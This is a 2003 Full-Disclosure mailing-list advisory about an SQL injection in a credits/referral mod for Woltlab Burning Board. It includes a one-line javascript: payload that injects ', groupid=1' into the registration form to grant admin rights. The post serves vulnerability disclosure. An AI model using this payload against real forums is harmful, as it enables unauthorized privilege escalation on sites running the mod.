From ben.moeckel@badwebmasters.net Mon Aug  4 06:04:03 2003
From: ben.moeckel@badwebmasters.net
To: full-disclosure@lists.netsys.com
Date: Sun,  3 Aug 2003 14:02:01 +0200
Subject: [Full-Disclosure] [bWM#015]  SQL-Injection @ Woltlab Burning Board
    + MOD Guthabenhack 1.3

    [ The following text is in the "iso-8859-1" character set. ]
    [ Your display is set for the "US-ASCII" character set.  ]
    [ Some characters may be displayed incorrectly. ]


badWebMasters security advisory #015 

SQL-Injection @ Woltlab Burning Board + MOD Guthabenhack 1.3 


Discovery date: 2003-07-28 
  
Original advisory:
http://badwebmasters.net/advisory/015/ (text/html) 
 
  
Legal Notice:
Copyright 2003 by Benjamin Klimmek (ben moeckel - badWebMasters)!
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it
without giving credits and the URL where the original advisory can be
found!
This document may change without notice. 
 
  
Author:
ben moeckel (http://distressed.de)
mailto: badwebmasters@online.de 
 
  
Description:
With the "Guthaben hack" (that includes Zwerg's "User Werben Hack" 3.0)
for Woltlab Burning Board you can get credits for promoting new members.
The new user may add the promoter's ID into the registration form, so he
can get his credits.

Due to an input validation bug the "User Werben"-MOD is vulnerable to an
sql-injection attack. This makes it possible for an malicious user to
gain admin rights. 
 
  
Exploit:
The field got a maxlength-value of 10, so the attacker may use IE +
javascript to inject the sql-string:

javascript:x=document.forms[0].geworbenv;x.value=",
groupid=1";alert(x.value);
 
  
Vendor:
Vendor has been contacted by php-masta, no reply received. 
 
  
Thanks:
php-masta (php-masta.net) for inviting me to join his board ;)
 
  
Feedback:
Comments, suggestions, updates, anything else?
   -> mailto:badwebmasters@online.de 
 
  
__________________________________________

badWebMasters - ben moeckel security research
http://badwebmasters.de http://badwebmasters.net
copyright 2k1-3 by Benjamin Klimmek / Germany
mailto:badwebmasters@online.de
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
